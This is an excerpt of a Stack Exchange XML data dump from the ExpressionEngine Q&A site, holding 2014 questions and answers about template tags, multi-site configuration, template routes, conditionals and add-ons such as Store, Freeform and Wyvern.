  <row Id="24326" PostTypeId="2" ParentId="24324" CreationDate="2014-07-10T21:08:44.027" Score="1" Body="&lt;p&gt;For the first list I think you're just looking for a regex that does NOT match the category you want to exclude. I haven't tested this, but try the regular expression &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;^(?!13$)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you would end up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;articles&quot; match=&quot;#^(?!13$)#&quot; against=&quot;category_id&quot;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to see if that finds all items in your articles list that are not category 13.&#xA;(Updated, changed regex after test run.)&lt;/p&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2014-07-10T22:04:42.380" LastActivityDate="2014-07-10T22:04:42.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24327" PostTypeId="1" CreationDate="2014-07-10T21:11:54.440" Score="2" ViewCount="110" Body="&lt;p&gt;Just upgraded a site from 2.5.5 to 2.8.1 with the plans of adding MSM once 2.8.1 was installed. I successfully upgraded to 2.8.1 and when I go to turn on MSM it kicks me out of the CP with the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An Error Was Encountered&#xA;Site Error: Unable to Load Site Preferences; No Preferences Found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I set &lt;code&gt;$config['multiple_sites_enabled'] = &quot;n&quot;;&lt;/code&gt; I'm able to log back in with no errors. Not sure where to start troubleshooting?&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-07-11T13:28:41.320" Title="EE 2.8.1 &amp; MSM Issue" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24329" PostTypeId="1" AcceptedAnswerId="24351" CreationDate="2014-07-10T21:25:25.027" Score="0" ViewCount="90" Body="&lt;p&gt;I have some parent entries that I am looking to filter down using a date field.  I know the search functions are not available in the parent or relationship fields.  What other options do I have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of doing a separate entries tag, but have not found a way to select all entries that are related to another specific entry, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries search:parent_entry=&quot;1234&quot;}&lt;/p&gt;&#xA;" OwnerUserId="3100" LastActivityDate="2014-07-11T15:18:38.553" Title="Searching Within Parent Entries" Tags="|relationships|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24330" PostTypeId="2" ParentId="24292" CreationDate="2014-07-10T21:55:02.413" Score="0" Body="&lt;p&gt;As @foamcow hinted you are going to need to develop something custom for this to work properly as there is nothing built into Store that would allow for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF you are not comfortable with creating this in PHP, there are a couple of places that you might be able to find a developer that would be able to help you out.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://director-ee.com&quot; rel=&quot;nofollow&quot;&gt;Director-ee&lt;/a&gt; is a job posting board that is targeted at the EE community&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/pro-network&quot; rel=&quot;nofollow&quot;&gt;EE Pro Network&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can email the Exp:resso Support team ( support@exp-resso.com ) to see if you can hire them to build this functionality for you or could recommend a developer.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-10T21:55:02.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24331" PostTypeId="2" ParentId="11139" CreationDate="2014-07-10T22:15:15.637" Score="2" Body="&lt;p&gt;Using &lt;a href=&quot;http://gotolow.com/addons/low-yearly-archives&quot; rel=&quot;nofollow&quot;&gt;Low Yearly Archives&lt;/a&gt;, you can do something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_yearly_archives channel=&quot;blog&quot; status=&quot;not closed&quot; sort=&quot;desc&quot; monthsort=&quot;desc&quot;}&#xA;    {months}&#xA;        {if num_entries != 0}&#xA;        &amp;lt;h2&amp;gt;{month} {year}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        {embed=&quot;news/archives_month&quot; y=&quot;{year}&quot; m=&quot;{month_num_short}&quot;}&#xA;        &amp;lt;/ul&amp;gt;&#xA;      {/if}&#xA;    {/months}&#xA;{/exp:low_yearly_archives}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in your &lt;code&gt;archives_month&lt;/code&gt; embed, something along those lines (we embed to get the parsing order for &lt;code&gt;{month_num_short}&lt;/code&gt; right):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blog&quot;&#xA;    disable=&quot;custom_fields|categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;    dynamic=&quot;off&quot;&#xA;    year=&quot;{embed:y}&quot;&#xA;    month=&quot;{embed:m}&quot;&#xA;    sort=&quot;asc&quot;&#xA;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path=blog}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1260" LastEditorUserId="1260" LastEditDate="2014-07-10T22:35:58.980" LastActivityDate="2014-07-10T22:35:58.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24333" PostTypeId="2" ParentId="24265" CreationDate="2014-07-10T23:48:33.390" Score="0" Body="&lt;p&gt;@AlexKendrick and @ jpea - You guys really helped me figure this out. Really appreciate the help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just had to set some appropriate category parameters for the template group that users are routed to after select a blog hyperlink. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works great. &lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2014-07-10T23:48:33.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24335" PostTypeId="2" ParentId="24279" CreationDate="2014-07-11T03:20:28.187" Score="0" Body="&lt;p&gt;I don't think &lt;code&gt;start_on&lt;/code&gt; is a parameter to &lt;code&gt;{exp:super_search:results}&lt;/code&gt;. I'm pretty sure that &lt;code&gt;{exp:super_search:results}&lt;/code&gt; is always an absolute count of the search results, and thus its value exists immutably when the page loads. This is why it's available within or without the tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to achieve what you're looking to do—present the number of results &lt;strong&gt;you're&lt;/strong&gt; returning, vs what the actual &lt;strong&gt;search&lt;/strong&gt; is returning—by doing a calculation on the &lt;code&gt;super_search_total_results&lt;/code&gt; variable. Thus, &lt;code&gt;super_search_total_results - offsetValue = returnedResults&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many math/calculation plugins available, but I'm partial to &lt;a href=&quot;http://devot-ee.com/add-ons/math&quot; rel=&quot;nofollow&quot;&gt;Math&lt;/a&gt; and have also used &lt;a href=&quot;http://devot-ee.com/add-ons/will-hunting&quot; rel=&quot;nofollow&quot;&gt;Will Hunting&lt;/a&gt; with good success.&lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2014-07-11T03:20:28.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24336" PostTypeId="2" ParentId="21843" CreationDate="2014-07-11T04:07:24.733" Score="0" Body="&lt;p&gt;Solspace User can allow members to change their member group. I have that setup on my site. I have two different member groups that people can register to be in - each with slightly different permissions. If they choose the wrong group when they register I provide the facility for them to switch their membership to the other group when they edit their account.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-07-11T04:07:24.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24337" PostTypeId="1" CreationDate="2014-07-11T07:06:00.157" Score="1" ViewCount="47" Body="&lt;p&gt;Is it possible to retrieve the list of products in the orders or payment template tag, e.g. like in the checkout tag &lt;code&gt;{items}&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After successful payment we display a summery page using the &lt;code&gt;{exp:store:orders}&lt;/code&gt; or &lt;code&gt;{exp:store:payment}&lt;/code&gt;, along with the orders summery we would like to display a list of the items related to that order (like in the control-panel). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We tried something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:payment order_hash={last_segment}&#xA;    Your order ID: {order_id}&#xA;    ...&#xA;    {items}&#xA;        {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;            {title}&#xA;        {/exp:channel:entries}&#xA;    {/items}&#xA;{/exp:store}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But unlike within the &lt;code&gt;{exp:channel:checkout}&lt;/code&gt; tag this does not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do we need to use a manual query? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you, &#xA;Daniel &lt;/p&gt;&#xA;" OwnerUserId="1514" LastActivityDate="2014-07-14T19:21:01.360" Title="Display ordered items within exp:store:orders oder exp:store:payment" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24338" PostTypeId="2" ParentId="24337" CreationDate="2014-07-11T07:15:29.523" Score="1" Body="&lt;p&gt;The &lt;code&gt;{items}&lt;/code&gt; tag does work with the &lt;code&gt;{exp:store:orders}&lt;/code&gt; and &lt;code&gt;{exp:store:payment}&lt;/code&gt; tags, but a little different than in the &lt;code&gt;{exp:store:checkout}&lt;/code&gt; tag. Simply do not use a nested &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:payment order_hash={last_segment}&#xA;    Your order ID: {order_id}&#xA;    ...&#xA;    {items}&#xA;        {title}&#xA;    {/items}&#xA;{/exp:store:payment}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All variabes are available like in the checkout tag, e.g. &lt;code&gt;{item_qty}&lt;/code&gt;,&lt;code&gt;{item_total}&lt;/code&gt; etc.&lt;/p&gt;&#xA;" OwnerUserId="1514" LastEditorUserId="1514" LastEditDate="2014-07-14T19:21:01.360" LastActivityDate="2014-07-14T19:21:01.360" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24339" PostTypeId="2" ParentId="24321" CreationDate="2014-07-11T07:20:24.020" Score="0" Body="&lt;p&gt;The thing about var_prefix is that it not only prevents namespace collisions, it also define the &quot;stage&quot; when it's going to be parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, if you want the Playa loop to happen inside the Matrix, then your best bet would be to use the Matrix field's var_prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might be wrong - would not be the first time EE's parse order got the best of me in that case.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-07-11T07:20:24.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24340" PostTypeId="1" CreationDate="2014-07-11T09:08:46.007" Score="2" ViewCount="602" Body="&lt;p&gt;I often use a 'site' template group to house my base level pages. For example I may have a 'about' page, but don't require an 'about' template group so I add this to the 'site' group. I then don't want the URL to be /site/about so I have always used the plugin 'freeway' to allow me to remove the 'site' part (domain.com/about). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that 'Template Routes' has arrived, I have begun using this by setting '/about' as the route for the page. This works perfectly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that on occasion I add a segment on a page to show additional information when a user clicks a link. For example 'about/more-content'. Now with template routes this extra segment stops the page from working and shows the 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have '/about' as the route, but also allow for extra segments after?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-07-11T12:07:46.320" Title="Template Routes and extra segments" Tags="|templates|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24341" PostTypeId="1" AcceptedAnswerId="24342" CreationDate="2014-07-11T10:03:21.490" Score="0" ViewCount="17" Body="&lt;p&gt;We're building a simple site for an event.&#xA;Attendees must registrate. But we want to verify if they are on the guest list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can we use the normal member registration? Is there an addon for this?&#xA;Or is there a better way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1838" LastActivityDate="2014-07-11T10:29:36.570" Title="Membership registration limited to list of email addresses" Tags="|member-management|guest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24342" PostTypeId="2" ParentId="24341" CreationDate="2014-07-11T10:29:36.570" Score="1" Body="&lt;p&gt;If you have a fairly small number of members you could pre-create their accounts with random passwords then create a &quot;registration form&quot; which gets them to reset the password.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-11T10:29:36.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24343" PostTypeId="1" CreationDate="2014-07-11T10:33:02.267" Score="1" ViewCount="47" Body="&lt;p&gt;I want to use ExpressionEngine to build a website for a church. The church has several campuses across the USA. The church has a site and the campuses have their own mini-sites too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the church has a type of admin (A) and the campuses have another type of admin (B). B type admins can only access their content (of the campuses they own) and &lt;strong&gt;A type admins can access all contents and administrate B type admins&lt;/strong&gt;. Also, B type admins can ask for content of their campus site to be on the church side (so sharing some content across websites).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know of a way to do this? A plugin or so ? I'm not really familiar with EE's multi-site module.&lt;/p&gt;&#xA;" OwnerUserId="3344" LastEditorUserId="28" LastEditDate="2014-07-14T17:11:23.413" LastActivityDate="2014-07-14T17:11:23.413" Title="Multi Site, Multi admins, different contents, sharing content" Tags="|permissions|content|multiple-sites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24344" PostTypeId="1" CreationDate="2014-07-11T11:22:02.477" Score="0" ViewCount="102" Body="&lt;p&gt;I need to implement UTM tags to all of the links I have in my site to track their progress, campaigns, sources etc. The following tags are being used to build a UTM tagged link:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;utm_campaign&lt;/li&gt;&#xA;&lt;li&gt;utm_source&lt;/li&gt;&#xA;&lt;li&gt;utm_medium&lt;/li&gt;&#xA;&lt;li&gt;utm_content&lt;/li&gt;&#xA;&lt;li&gt;utm_term&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How would I be able to go about creating a module for EE to build these tags and append it to a landing page url to track? I would like it to be as dynamic as possible. Any guidelines would be very helpful!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.hubspot.com/marketing/what-are-utm-tracking-codes-ht&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is an awesome blog post about UTM tagging.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-07-11T11:22:02.477" Title="UTM Link Generator Module For EE2" Tags="|ee2|module|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24345" PostTypeId="2" ParentId="24340" CreationDate="2014-07-11T12:07:46.320" Score="4" Body="&lt;p&gt;Yup - make sure you set &quot;require all segments&quot; to &quot;no&quot;, then just add another segment to the rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/about/{extra:alpha_dash}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;:alpha_dash&lt;/code&gt; means that the segment can contain alpha-numeric characters, underscores, and dashes. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/template_routes.html#rules&quot; rel=&quot;nofollow&quot;&gt;There are other rules available as well.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your template you can check the value of the extra segment this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment:extra == 'foo'}&#xA;    // Show something different&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-11T12:07:46.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24346" PostTypeId="2" ParentId="24343" CreationDate="2014-07-11T12:12:39.557" Score="3" Body="&lt;p&gt;Multi Site Manager would work well for this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Each member group can be assigned to one or more sites in the network&lt;/li&gt;&#xA;&lt;li&gt;Super Admins can access all sites and settings.&lt;/li&gt;&#xA;&lt;li&gt;Content from other sites can be accessed by using the &lt;code&gt;site&lt;/code&gt; parameter on any Channel Entries tag&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-11T12:12:39.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24347" PostTypeId="2" ParentId="24327" CreationDate="2014-07-11T13:28:41.320" Score="1" Body="&lt;p&gt;Figured it out! In my &lt;code&gt;config.php&lt;/code&gt; I had dynamically set config variables with PHP variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$base_path = $_SERVER['DOCUMENT_ROOT'];&#xA;$config['tmpl_file_basepath'] = $base_path.'/assets/templates/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which was causing connection issues with the database with MSM enabled. Not exactly sure how MSM works, but explicitly setting these variables for each domain fixed the issue along with uncommenting &amp;amp; setting the MSM &lt;code&gt;$assign_to_config&lt;/code&gt; variables in &lt;code&gt;/index.php&lt;/code&gt; &amp;amp; &lt;code&gt;/system/index.php&lt;/code&gt;.   &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-07-11T13:28:41.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24348" PostTypeId="1" AcceptedAnswerId="24387" CreationDate="2014-07-11T14:04:01.300" Score="1" ViewCount="76" Body="&lt;p&gt;I've got a weird issue with parentheses in an if statement. If I have the if statement on it's own then no content is shown. If, however, I place two if statements in front of it then everything works fine. See examples below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if downloads:total_rows &amp;gt;= '1'}{/if}&#xA;{if section_1:total_rows == '1'}{/if}&#xA;{if (downloads:total_rows &amp;gt;= '1' || section_2:total_rows == '1') &amp;amp;&amp;amp; section_1:total_rows == '1'}&#xA;    Content ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does not work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if (downloads:total_rows &amp;gt;= '1' || section_2:total_rows == '1') &amp;amp;&amp;amp; section_1:total_rows == '1'}&#xA;    Content ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this strange behaviour is occurring?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2014-07-14T12:34:29.097" Title="If statement parentheses not working correctly" Tags="|ifelse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24349" PostTypeId="2" ParentId="24310" CreationDate="2014-07-11T14:48:47.213" Score="1" Body="&lt;p&gt;Yes, by using &lt;code&gt;%%entry_id%%&lt;/code&gt; in your &lt;code&gt;return=&quot;&quot;&lt;/code&gt; parameter in &lt;code&gt;{exp:freeform:form}&lt;/code&gt;: &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#return&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#return&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;%%entry_id%%&lt;/code&gt; will be replaced by the created entry_id when the form was submitted. After form submission, the entry_id would be a segment in the URL (eg. &lt;code&gt;/form/thank-you/123&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you can retrieve your Freeform entry by using &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; and display your submitted data on screen.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-07-11T14:48:47.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24350" PostTypeId="2" ParentId="24348" CreationDate="2014-07-11T15:03:39.210" Score="1" Body="&lt;p&gt;I would try putting your variables in curly braces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if ({downloads:total_rows} &amp;gt; 0 || {section_2:total_rows} == 1) &amp;amp;&amp;amp; {section_1:total_rows} == 1}&#xA;    Content ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You are making this an advanced conditional so you can't access your variables correctly in the conditional without the braces. I tested the code above and it works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/13946/1188&quot;&gt;https://expressionengine.stackexchange.com/a/13946/1188&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-07-14T10:47:47.527" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24351" PostTypeId="2" ParentId="24329" CreationDate="2014-07-11T15:18:38.553" Score="0" Body="&lt;p&gt;Here is how you can get all your parent entry ids into another channel entry tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) Create a Template with your parent channel tag and pass an embed variable to it from your main template. Here you can add any parameter you need to get the needed data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;parent&quot; entry_id=&quot;{embed:eid}&quot; }&#xA;    &amp;lt;h1&amp;gt;Parent Data&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.) Embed the above template in your main template. And pass the parent entry_ids into the embeded template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;child&quot;}&#xA;   {embed=&quot;template/parent-entries&quot; eid=&quot;{parents channel=&quot;parent&quot; backspace=&quot;1&quot;}{entry_id}|{/parents&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-11T15:18:38.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24353" PostTypeId="1" CreationDate="2014-07-11T16:53:35.893" Score="2" ViewCount="206" Body="&lt;p&gt;We are having all orders fail since around the middle of June 2014. We are using an unofficial payment gateway plugin for Chase Paymentech. I'm not seeing why it has suddenly stopped working and no one is aware of any changes made on the site or in CartThrob. Is this possibly related to the 'heartbleed' updates that everyone was doing for SSL certificates?&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2018-04-02T14:51:38.723" Title="Why have Chase Paymentech orders started failing in CartThrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24354" PostTypeId="2" ParentId="24320" CreationDate="2014-07-11T17:23:11.093" Score="1" Body="&lt;p&gt;I found the answer on ellislab's forum - &lt;a href=&quot;http://ellislab.com/forums/viewthread/192257/#907015&quot; rel=&quot;nofollow&quot;&gt;enter link description here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for being patient with me&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2014-07-11T17:23:11.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24355" PostTypeId="1" AcceptedAnswerId="24577" CreationDate="2014-07-11T18:05:37.423" Score="1" ViewCount="131" Body="&lt;p&gt;I've been looking into creating a front-end client dashboard using wyvern, assets and of course channel forms.  I have played with many configurations to get the 'dashboard' working.  Specifically, everything is fine except for the channel fields that are Wyvern, &lt;img src=&quot;https://i.stack.imgur.com/dgf5w.png&quot; alt=&quot;Wyvern Fields&quot;&gt; just show up on the dashboard as a normal 'textarea' field in the likes of the normal rich-text editor.  &lt;img src=&quot;https://i.stack.imgur.com/QV7E6.png&quot; alt=&quot;wyvern field on front end showing as normal editor&quot;&gt;  while in the EE control panel it shows Wyvern tools &lt;img src=&quot;https://i.stack.imgur.com/7zOci.png&quot; alt=&quot;EE Control Panel&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'dashboard' template follows something like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;              {exp:channel:form channel=&quot;page&quot; entry_id=&quot;{segment_4}&quot; json=&quot;yes&quot; include_jquery=&quot;yes&quot;rte_selector=&quot;.ee-rte&quot; toolset_id=&quot;2&quot;}&#xA;&#xA;&amp;lt;div class=&quot;col-lg-12&quot;&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-element-wrapper&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;about&quot;&amp;gt;About&amp;lt;/label&amp;gt;&#xA;    &amp;lt;textarea id=&quot;about&quot; name=&quot;about&quot; rows=&quot;12&quot; class=&quot;ee-rte&quot;&amp;gt;{about}&amp;lt;/textarea&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-element-wrapper&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;body&quot;&amp;gt;Body&amp;lt;/label&amp;gt;&#xA;    &amp;lt;textarea id=&quot;body&quot; name=&quot;body&quot; rows=&quot;12&quot; class=&quot;ee-rte&quot;&amp;gt;{body}&amp;lt;/textarea&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  ...etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know there's the class=&quot;ee-rte&quot; and the rte_selector=&quot;.ee-rte&quot; but does this affect the Wyvern fields and possibly why I can't get Wyvern to show up in the 'dashboard' fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or maybe it's the:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;textarea id=&quot;about&quot; name=&quot;about&quot; rows=&quot;12&quot; class=&quot;ee-rte&quot;&amp;gt;{about}&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;area because that's calling the &quot;textarea&quot;, but then how do you call in Wyvern? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestions you may have would be awesome.  I know there has to be a simple solution that I'm just completely overlooking.&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="337" LastActivityDate="2014-07-22T17:47:27.167" Title="Wyvern and Channel Forms" Tags="|assets|safecracker|rte|wyvern|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24356" PostTypeId="1" CreationDate="2014-07-11T20:34:02.580" Score="0" ViewCount="102" Body="&lt;p&gt;I have the following code and I'm trying to make it so that the children page titles populate in the dropdown listing and then link to that page. Any&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                        {exp:structure:entries dynamic=&quot;off&quot;}&#xA;                                        {machine_support_category}&#xA;                                        &amp;lt;div style=&quot;padding: 0 20px 32px;text-align: center;width: 263px; float:left;&quot;&amp;gt;&#xA;&#xA;                                            &amp;lt;div class=&quot;product-img-box&quot;&amp;gt;&#xA;                                                &amp;lt;a class=&quot;product-image&quot; href=&quot;#&quot;&amp;gt;&amp;lt;img width=&quot;173&quot; height=&quot;117&quot; alt=&quot;Image description&quot; src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;                                            &amp;lt;h3 class=&quot;product-name&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                            &amp;lt;select&amp;gt;&#xA;                                                {structure:child_listing:channel_id}&#xA;                                                &amp;lt;option&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;                                                {structure:child_listing:channel_id}&#xA;                                            &amp;lt;/select&amp;gt;&#xA;&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                        {/machine_support_category}&#xA;                                        {/exp:structure:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Backend Pages Structure: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EuWx8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frontend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XreKa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" 